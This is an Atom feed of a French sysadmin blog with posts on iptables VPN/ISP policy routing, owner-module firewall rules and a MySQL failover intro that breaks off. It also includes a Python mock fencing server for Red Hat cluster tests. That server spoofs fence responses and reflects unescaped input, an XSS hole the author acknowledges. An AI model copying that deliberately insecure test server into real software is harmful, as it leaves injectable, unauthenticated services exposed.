<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" xml:lang="en" xml:base="http://blog.gaetan-grigis.eu/wp-atom.php">
	<title type="text">Le Blog du grand loup Zeur</title>
	<subtitle type="text">Le blog qui vous fait connaitre ce que vous savez déjà</subtitle>

	<updated>2012-03-02T18:04:49Z</updated>

	<link rel="alternate" type="text/html" href="http://blog.gaetan-grigis.eu" />
	<id>http://blog.gaetan-grigis.eu/feed/atom/</id>
	

	<generator uri="http://wordpress.org/" version="3.3.2">WordPress</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/LeBlogDuGrandLoupZeur" /><feedburner:info uri="leblogdugrandloupzeur" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[iptables: FAI ou VPN il faut choisir]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/cAh0ard3nRE/" />
		<id>http://blog.gaetan-grigis.eu/?p=1167</id>
		<updated>2012-03-02T18:04:49Z</updated>
		<published>2012-03-02T18:04:17Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="Administration" /><category scheme="http://blog.gaetan-grigis.eu" term="Système" /><category scheme="http://blog.gaetan-grigis.eu" term="connexion" /><category scheme="http://blog.gaetan-grigis.eu" term="fai" /><category scheme="http://blog.gaetan-grigis.eu" term="iptables" /><category scheme="http://blog.gaetan-grigis.eu" term="routage" /><category scheme="http://blog.gaetan-grigis.eu" term="vpn" />		<summary type="html"><![CDATA[plop à tous &#8230; Un article que je voulais écrire depuis longtemps, mais par manque de temps je l&#8217;ai zappé. Ici le but de la manoeuvre est d&#8217;utiliser iptables (et la magie du routage de linux) pour choisir ce qui passe par l&#8217;IP du VPN (P2P, &#8230;) et par votre FAI (Browsing, &#8230;) (on peut [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/systeme/iptables-fai-ou-vpn-il-faut-choisir/"><![CDATA[<p>plop à tous &#8230;</p>
<p>Un article que je voulais écrire depuis longtemps, mais par manque de temps je l&#8217;ai zappé.<br />
Ici le but de la manoeuvre est d&#8217;utiliser iptables (et la magie du routage de linux) pour choisir ce qui passe par l&#8217;IP du VPN (P2P, &#8230;) et par votre FAI (Browsing, &#8230;) (on peut aussi rajouter la connexion 3G du téléphone pour ceux qui veulent taper comme un sourd dans la BP <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  et avoir des latences minimal pour le browsing).</p>
<p>Note : les &#8211; - sont à faire sans espace, il s&#8217;agit d&#8217;un bug de wordpress :s<br />
<span id="more-1167"></span></p>
<p>Il vous faut donc une connexion à internet, un VPN, ou une seconde connexion à internet (Connexion 3G, &#8230;), une machine linux et c&#8217;est tout.</p>
<p>En imaginant que l&#8217;ip du VPN soit : 10.8.0.101 sur l&#8217;interface tun0</p>
<p>Il faut modifier le fichier /etc/iproute2/rt_tables pour ajouter la table vpn à notre table de routage, qui servira à rediriger les paquets marqués sur l&#8217;interface du VPN :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="st0">&quot;101 vpn&quot;</span><span class="sy0">&gt;&gt;</span> <span class="sy0">/</span>etc<span class="sy0">/</span>iproute2<span class="sy0">/</span>rt_tables</div>
</li>
<li class="li1">
<div class="de1">ip route add table vpn <span class="nu0">10.8</span><span class="nu0">.0</span><span class="nu0">.101</span> dev tun0</div>
</li>
<li class="li1">
<div class="de1">ip route add table vpn default via <span class="nu0">10.8</span><span class="nu0">.0</span><span class="nu0">.101</span></div>
</li>
<li class="li1">
<div class="de1">ip rule add fwmark <span class="nu0">1</span> lookup vpn</div>
</li>
<li class="li1">
<div class="de1"><span class="kw3">echo</span> <span class="nu0">2</span> <span class="sy0">&gt;</span> <span class="sy0">/</span>proc<span class="sy0">/</span>sys<span class="sy0">/</span>net<span class="sy0">/</span>ipv4<span class="sy0">/</span>conf<span class="sy0">/</span>tun0<span class="sy0">/</span>rp_filter</div>
</li>
</ol>
</div>
<p>Ensuite, dans mon cas, je voulais rediriger tout mon traffic web (80) sur mon VPN, ce qui ce fait ainsi (en natant mon ip à celle de mon interface tun0 : 10.8.0.102) : </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">iptables -t mangle -A OUTPUT -p tcp &#8211; -dport <span class="nu0">80</span> -j MARK &#8211; -set-mark <span class="nu0">1</span></div>
</li>
<li class="li1">
<div class="de1">iptables -t nat -A POSTROUTING -m mark &#8211; -mark <span class="nu0">1</span> -j MASQUERADE</div>
</li>
<li class="li1">
<div class="de1">iptables -t nat -A POSTROUTING -m mark &#8211; -mark <span class="nu0">1</span> -j SNAT &#8211; -to-<span class="kw3">source</span> <span class="nu0">10.8</span><span class="nu0">.0</span><span class="nu0">.102</span></div>
</li>
</ol>
</div>
<p>Bien entendu, on peut choisir ce que l&#8217;on veut filtrer, y compris en utilisant le <a href="http://blog.gaetan-grigis.eu/systeme/administration/iptables-module-owner-comment-autoriser-specifiquement-les-connexions-des-utilisateurs/">module owner présenté ici</a></p>
<p>En remplaçant tout simplement le </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">iptables -t mangle -A OUTPUT -p tcp &#8211; -dport <span class="nu0">80</span> -j MARK &#8211; -set-mark <span class="nu0">1</span></div>
</li>
</ol>
</div>
<p>par </p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1">iptables -t mangle -A OUTPUT -m owner &#8211; -gid-owner monutilisateur -j MARK &#8211; -set-mark <span class="nu0">1</span></div>
</li>
</ol>
</div>
<p>On peut avoir autant de connections (plusieurs VPN/3G) que l&#8217;on veut en changeant les MARK et en leur créant la table qui va bien.</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1167">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/non-classe/ossec-et-iptables-ban-a-duree-variable/" rel="bookmark" title="Permanent Link: Ossec et Iptables : ban à durée variable">Ossec et Iptables : ban à durée variable</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/acces-restreint-sur-certain-ports-dans-le-temps/" rel="bookmark" title="Permanent Link: Accès restreint sur certain ports dans le temps">Accès restreint sur certain ports dans le temps</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/contourner-les-restrictions-de-connexions-sur-un-serveur-ovh/" rel="bookmark" title="Permanent Link: Contourner les restrictions de connexions sur un serveur OVH">Contourner les restrictions de connexions sur un serveur OVH</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/utiliser-tor-a-la-vitesse-de-la-lumiere/" rel="bookmark" title="Permanent Link: Utiliser Tor à la vitesse de la lumière ;)">Utiliser Tor à la vitesse de la lumière ;)</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/iptables-quelques-trucs-sympa/" rel="bookmark" title="Permanent Link: Iptables : quelques trucs sympa">Iptables : quelques trucs sympa</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/systeme/iptables-fai-ou-vpn-il-faut-choisir/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/systeme/iptables-fai-ou-vpn-il-faut-choisir/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/systeme/iptables-fai-ou-vpn-il-faut-choisir/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[iptables module owner : comment autoriser spécifiquement les connexions des utilisateurs]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/xoERyfgGjag/" />
		<id>http://blog.gaetan-grigis.eu/?p=1162</id>
		<updated>2012-02-24T08:00:42Z</updated>
		<published>2012-02-21T18:26:51Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="Administration" /><category scheme="http://blog.gaetan-grigis.eu" term="iptables" /><category scheme="http://blog.gaetan-grigis.eu" term="owner" />		<summary type="html"><![CDATA[plop Un rapide mémo/article, sur comment autoriser des connexions établit par des utilisateurs spécifiques avec iptables. L&#8217;idée générale étant que l&#8217;on drop tout par défaut, et que l&#8217;on autorise seulement certaines connexions par ports/logiciels, le soucis étant que si l&#8217;on ne connait pas les ports de sortie de notre services sur de nouvelles connexion (cas [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/systeme/administration/iptables-module-owner-comment-autoriser-specifiquement-les-connexions-des-utilisateurs/"><![CDATA[<p>plop</p>
<p>Un rapide mémo/article, sur comment autoriser des connexions établit par des utilisateurs spécifiques avec iptables.<br />
L&#8217;idée générale étant que l&#8217;on drop tout par défaut, et que l&#8217;on autorise seulement certaines connexions par ports/logiciels, le soucis étant que si l&#8217;on ne connait pas les ports de sortie de notre services sur de nouvelles connexion (cas de serveurs tor/P2P dans lesquels les ports peuvent être aléatoire), on est obligé de passer en policy accept pour profiter un maximum du service (au risque que si le service http soit compromis un hacker puisse depuis le process ouvrir une connexion inverse pour bypass le firewall en drop sur l&#8217;entrée).<br />
<span id="more-1162"></span></p>
<p>Grâce au module d&#8217;iptables, on peut spécifier, des connexions sur :<br />
- un utilisateur particulier<br />
- un groupe d&#8217;utilisateur particulier<br />
- un paquet associé à un socket</p>
<p>Ce qui permet de limiter la casse dans le cas présenté précédemment :</p>
<p><strong>Logiciel Apache</strong><br />
Autorisation des NOUVELLES connexions entrantes sur le port 80 à l&#8217;utilisateur apache (ce n&#8217;est PAS le nom du logiciel!!Mais bien celui de l&#8217;utilisateur qui l&#8217;execute) et limitation du nombre de connexion à celle pouvant être offerte par le service en question</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="sy0">/</span>sbin<span class="sy0">/</span>iptables -A INPUT -p tcp -i eth0 &#8211;dport <span class="nu0">80</span> -m owner &#8211;uid-owner apache -m state &#8211;state NEW -m limit &#8211;limit <span class="nu0">150</span><span class="sy0">/</span>s &#8211;limit-burst <span class="nu0">200</span> -j ACCEPT</div>
</li>
</ol>
</div>
<p>Pour les connexions entrantes, on est pas vraiment obligé de limiter les droits à l&#8217;utilisateur, puisque seulement un logiciel peut se bind au port 80.</p>
<p><strong>Réseau tor</strong><br />
Autorisation de n&#8217;importe quelle connexions sortantes, du moment qu&#8217;elle provienne de l&#8217;id utilisateur 112 (chez moi l&#8217;utilisateur tor) et qu&#8217;elle soit en TCP</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="sy0">/</span>sbin<span class="sy0">/</span>iptables -A OUTPUT -o eth0 -p tcp -m owner &#8211;uid-owner <span class="nu0">112</span> -m state &#8211;state NEW -j ACCEPT</div>
</li>
</ol>
</div>
<p>Ce qui nous permet d&#8217;ouvrir des connexions n&#8217;importe où, malgré un :</p>
<div class="geshi no bash">
<ol>
<li class="li1">
<div class="de1"><span class="sy0">/</span>sbin<span class="sy0">/</span>iptables -P OUTPUT DROP</div>
</li>
</ol>
</div>
<p>depuis le processus tor, tout en dropant toute nouvelle connexion depuis le processus apache.</p>
<p>ça permet de se passer de divers systèmes de sécurité plus lourd (Selinux, acl grsec, &#8230;) pour des serveurs ne nécessitant pas de sécurité élevé (ça existe?? ^^).</p>
<p>A noter que bien entendu avec du selinux/grsec, autant gérer les droits directement par le kernel que par le firewall, cette méthode est donc inutile dans ce cas <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> , mais ça peut dépanner (j&#8217;étais persuadé qu&#8217;il fallait obligatoirement des LSM/ACL pour ça, mais les auteurs d&#8217;iptables avaient pensé à tout <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1162">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/systeme/iptables-fai-ou-vpn-il-faut-choisir/" rel="bookmark" title="Permanent Link: iptables: FAI ou VPN il faut choisir">iptables: FAI ou VPN il faut choisir</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/contourner-les-restrictions-de-connexions-sur-un-serveur-ovh/" rel="bookmark" title="Permanent Link: Contourner les restrictions de connexions sur un serveur OVH">Contourner les restrictions de connexions sur un serveur OVH</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/acces-restreint-sur-certain-ports-dans-le-temps/" rel="bookmark" title="Permanent Link: Accès restreint sur certain ports dans le temps">Accès restreint sur certain ports dans le temps</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/mise-en-place-dun-portknocking-pour-limiter-les-ports-accessibles-sur-le-net/" rel="bookmark" title="Permanent Link: Mise en place d&#8217;un portknocking pour limiter les ports accessibles sur le net">Mise en place d&#8217;un portknocking pour limiter les ports accessibles sur le net</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/protection-ddos-soft/" rel="bookmark" title="Permanent Link: Protection Ddos (soft)">Protection Ddos (soft)</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/systeme/administration/iptables-module-owner-comment-autoriser-specifiquement-les-connexions-des-utilisateurs/#comments" thr:count="1" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/systeme/administration/iptables-module-owner-comment-autoriser-specifiquement-les-connexions-des-utilisateurs/feed/atom/" thr:count="1" />
		<thr:total>1</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/systeme/administration/iptables-module-owner-comment-autoriser-specifiquement-les-connexions-des-utilisateurs/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[Fake fencing sur Red Hat6]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/ah5duE8PPCk/" />
		<id>http://blog.gaetan-grigis.eu/?p=1158</id>
		<updated>2012-01-17T08:43:06Z</updated>
		<published>2012-01-16T18:12:08Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="Administration" /><category scheme="http://blog.gaetan-grigis.eu" term="agent" /><category scheme="http://blog.gaetan-grigis.eu" term="cluster" /><category scheme="http://blog.gaetan-grigis.eu" term="fake fence" /><category scheme="http://blog.gaetan-grigis.eu" term="fence" /><category scheme="http://blog.gaetan-grigis.eu" term="red hat" /><category scheme="http://blog.gaetan-grigis.eu" term="rhevm" />		<summary type="html"><![CDATA[Plop &#8230; Un petit retour sur l&#8217;article du failover mysql avec les clusters de red hat. Lorsque l&#8217;on test son système de failover (machines virtuelles, ou &#8230;) sans matériel de fencing (switchs/routeurs/périph dédiés), les tests d&#8217;arrêts complets (coupure de courant barbare) échouent lamentablement, car pour switcher les services d&#8217;une machine à une autre, le daemon [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/"><![CDATA[<p>Plop &#8230; </p>
<p>Un petit retour sur l&#8217;article du <a href="http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/">failover mysql</a> avec les clusters de red hat.<br />
<span id="more-1158"></span><br />
Lorsque l&#8217;on test son système de failover (machines virtuelles, ou &#8230;) sans matériel de fencing (switchs/routeurs/périph dédiés), les tests d&#8217;arrêts complets (coupure de courant barbare) échouent lamentablement, car pour switcher les services d&#8217;une machine à une autre, le daemon fenced envoie un signal de reboot au serveur ayant la main sur le service via le système de fencing, et si celui-ci ne répond pas, le service n&#8217;est pas redémarré (il considère qu&#8217;il a lui-même un problème), ne permettant pas de valider le test du &laquo;&nbsp;Si la machine crash, est-ce qu&#8217;une autre prendra le service ?&nbsp;&raquo;.</p>
<p>Il existe cependant des services permettant de faker ces systèmes lors d&#8217;utilisation de machines virtuelles, malheureusement pour moi, je n&#8217;utilise pas le système de machine virtuelle xen directement sur red hat6, ne me permettant de de jouir des agents fence <a href="http://linux.die.net/man/8/fence_rhevm">RHEV-M</a> et libvirt pour les machines virtuelles, et désactiver l&#8217;accès au groupe de fence empêche le rgmanager de se lancer (pose de lock sur dlm-control et dlm-rgmanager qui n&#8217;existe pas sans fence) donc passage obligé à la création d&#8217;un &laquo;&nbsp;fake fence&nbsp;&raquo;.</p>
<p>Pour simuler le système de fence de RHEV-M (un simple client http qui balance 3 requêtes pour vérifier si la machine existe et lance l&#8217;action de reboot), j&#8217;ai donc crée un serveur Web en python, qui renvoit des XMLs complétement faux, mais qui contiennent les infos que l&#8217;agent fence_rhevm cherche, lui permettant de valider le reboot  et de débloquer le service!!!</p>
<p>Le codage est très simple (avec une belle XSS en prime ^^, mais comme l&#8217;agent fence_rhevm crée ses propres urls de requêtes &#8230; osef ;=)) :</p>
<div class="geshi no python">
<ol>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">SocketServer</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">re</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">status=<span class="st0">&quot;down&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> FenceHandler<span class="br0">&#40;</span><span class="kw3">SocketServer</span>.<span class="me1">BaseRequestHandler</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">def</span> handle<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">global</span> status</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">data</span> = <span class="kw2">self</span>.<span class="me1">request</span>.<span class="me1">recv</span><span class="br0">&#40;</span><span class="nu0">4096</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;re_get_name = <span class="kw3">re</span>.<span class="kw2">compile</span><span class="br0">&#40;</span><span class="st0">&quot;GET /api/vms/<span class="es0">\?</span>search=name%3D(.*) HTTP/1.1&quot;</span>,<span class="kw3">re</span>.<span class="me1">IGNORECASE</span><span class="br0">&#41;</span> </div>
</li>
<li class="li1">
<div class="de1">&nbsp;result_name = re_get_name.<span class="me1">search</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="co1">#If there is no Get, it&#39;s a posted action</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> result_name == <span class="kw2">None</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">request</span>.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;HTTP/1.1 200 OK<span class="es0">\r</span><span class="es0">\n</span>Content-Type: application/xml<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&lt;action /&gt;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; status=<span class="st0">&quot;up&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">return</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="co1">#Else it&#39;s a normal request, answer &#8230;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;name = <span class="st0">&quot;none&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">if</span> result_name <span class="sy0">!</span>= <span class="kw2">None</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; name = result_name.<span class="me1">group</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw2">self</span>.<span class="me1">request</span>.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;HTTP/1.1 200 OK<span class="es0">\r</span><span class="es0">\n</span>Content-Type: application/xml<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>&lt;vms&gt;&lt;vm id=<span class="es0">\&quot;</span>id<span class="es0">\&quot;</span> href=<span class="es0">\&quot;</span>osef<span class="es0">\&quot;</span>&gt;&lt;name&gt;&quot;</span>+name+<span class="st0">&quot;&lt;/name&gt;&lt;type&gt;server&lt;/type&gt;&lt;status&gt;&lt;state&gt;&quot;</span>+status+<span class="st0">&quot;&lt;/state&gt;&lt;/status&gt;&lt;/vm&gt;&lt;/vms&gt;<span class="es0">\r</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;status = <span class="st0">&quot;down&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> __name__ == <span class="st0">&quot;__main__&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; HOST, PORT = <span class="st0">&quot;0.0.0.0&quot;</span>, <span class="nu0">9999</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; server = <span class="kw3">SocketServer</span>.<span class="me1">TCPServer</span><span class="br0">&#40;</span><span class="br0">&#40;</span>HOST, PORT<span class="br0">&#41;</span>, FenceHandler<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; server.<span class="me1">serve_forever</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Une fois lancé sur une machine, il ne reste plus qu&#8217;à fournir les infos dans le cluster.conf (à titre d&#8217;exemple) :</p>
<div class="geshi no xml">
<ol>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;clusternode</span> <span class="re0">name</span>=<span class="st0">&quot;mamachine&quot;</span><span class="re2">&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sc3"><span class="re1">&lt;fence<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="sc3"><span class="re1">&lt;method</span> <span class="re0">name</span>=<span class="st0">&quot;overthelolandfaraway&quot;</span><span class="re2">&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="sc3"><span class="re1">&lt;device</span> <span class="re0">name</span>=<span class="st0">&quot;rhevm&quot;</span> <span class="re0">port</span>=<span class="st0">&quot;1337&quot;</span><span class="re2">/&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="sc3"><span class="re1">&lt;/method<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sc3"><span class="re1">&lt;/fence<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;/clusternode<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;fencedevices<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="sc3"><span class="re1">&lt;fencedevice</span> <span class="re0">name</span>=<span class="st0">&quot;rhevm&quot;</span> <span class="re0">agent</span>=<span class="st0">&quot;fence_rhevm&quot;</span> <span class="re0">ipaddr</span>=<span class="st0">&quot;10.1.1.1&quot;</span> <span class="re0">login</span>=<span class="st0">&quot;rhevm&quot;</span> <span class="re0">passwd</span>=<span class="st0">&quot;rhevm&quot;</span> <span class="re0">ipport</span>=<span class="st0">&quot;9999&quot;</span> <span class="re2">/&gt;</span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;/fencedevices<span class="re2">&gt;</span></span></span></div>
</li>
</ol>
</div>
<p>Si jamais le script est modifié par WP, il reste accessible ici : <a href="https://raw.github.com/cipher16/script/master/fence.py">https://raw.github.com/cipher16/script/master/fence.py</a> (à n&#8217;utiliser que pour des tests bien sûr <img src='http://cdn.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> )</p>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=1158">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/ubuntu/controller-sa-carte-wifi-atheros-sous-ubuntu-lucid/" rel="bookmark" title="Permanent Link: Controller sa carte wifi atheros sous ubuntu Lucid">Controller sa carte wifi atheros sous ubuntu Lucid</a></li><li><a href="http://blog.gaetan-grigis.eu/securite/les-liens-du-week-end/" rel="bookmark" title="Permanent Link: Les liens du week-end">Les liens du week-end</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/centre-alsace-le-prix-du-gazole-depasse-le-prix-essence/" rel="bookmark" title="Permanent Link: Centre Alsace : Le prix du gazole dépasse le prix essence">Centre Alsace : Le prix du gazole dépasse le prix essence</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/administration/mise-en-place-discsi-pour-le-partage-de-donnees/" rel="bookmark" title="Permanent Link: Mise en place d&#8217;iSCSI pour le partage de données">Mise en place d&#8217;iSCSI pour le partage de données</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/envoyer-des-mails-dans-le-passe/" rel="bookmark" title="Permanent Link: Envoyer des mails dans le passé">Envoyer des mails dans le passé</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content>
		<link rel="replies" type="text/html" href="http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/#comments" thr:count="0" />
		<link rel="replies" type="application/atom+xml" href="http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/feed/atom/" thr:count="0" />
		<thr:total>0</thr:total>
	<feedburner:origLink>http://blog.gaetan-grigis.eu/systeme/administration/fake-fencing-sur-red-hat6/</feedburner:origLink></entry>
		<entry>
		<author>
			<name>Gaëtan</name>
						<uri>http://www.gaetan-grigis.eu</uri>
					</author>
		<title type="html"><![CDATA[Mysql failover sur Red Hat 6 avec DRBD et RGManager]]></title>
		<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/LeBlogDuGrandLoupZeur/~3/76PkeIMKE3o/" />
		<id>http://blog.gaetan-grigis.eu/?p=1142</id>
		<updated>2012-01-14T19:23:45Z</updated>
		<published>2012-01-14T19:23:45Z</published>
		<category scheme="http://blog.gaetan-grigis.eu" term="Non classé" /><category scheme="http://blog.gaetan-grigis.eu" term="cluster" /><category scheme="http://blog.gaetan-grigis.eu" term="cman" /><category scheme="http://blog.gaetan-grigis.eu" term="corosync" /><category scheme="http://blog.gaetan-grigis.eu" term="drbd" /><category scheme="http://blog.gaetan-grigis.eu" term="failover" /><category scheme="http://blog.gaetan-grigis.eu" term="HA" /><category scheme="http://blog.gaetan-grigis.eu" term="high availability" /><category scheme="http://blog.gaetan-grigis.eu" term="mysql" /><category scheme="http://blog.gaetan-grigis.eu" term="redhat" /><category scheme="http://blog.gaetan-grigis.eu" term="rgmanager" />		<summary type="html"><![CDATA[plop, today, un rapide article sur un système de failover mysql sur RedHat. NOTE Si certaine commande avec des &#8211; ne fonctionne pas, c&#8217;est qu&#8217;il y en a deux &#8211; - (WordPress ne les aiment pas quand ils sont collés). La configuration présenté ici se veut simplifié (l&#8217;article est encore en cours de rédaction, les [...]]]></summary>
		<content type="html" xml:base="http://blog.gaetan-grigis.eu/non-classe/mysql-failover-sur-red-hat-6-avec-drbd-et-rgmanager/"><![CDATA[<p>plop, today, un rapide article sur un système de failover mysql sur RedHat.<br />
<span id="more-1142"></span><br />
<strong>NOTE</strong><br />
Si certaine commande avec des &#8211; ne fonctionne pas, c&#8217;est qu&#8217;il y en a deux &#8211; - (WordPress ne les aiment pas quand ils sont collés).<br />
La configuration présenté ici se veut simplifié (l&#8217;article est encore en cours de rédaction, les tests de HA sont encore en cours et plutôt encourageant ^^).</p>
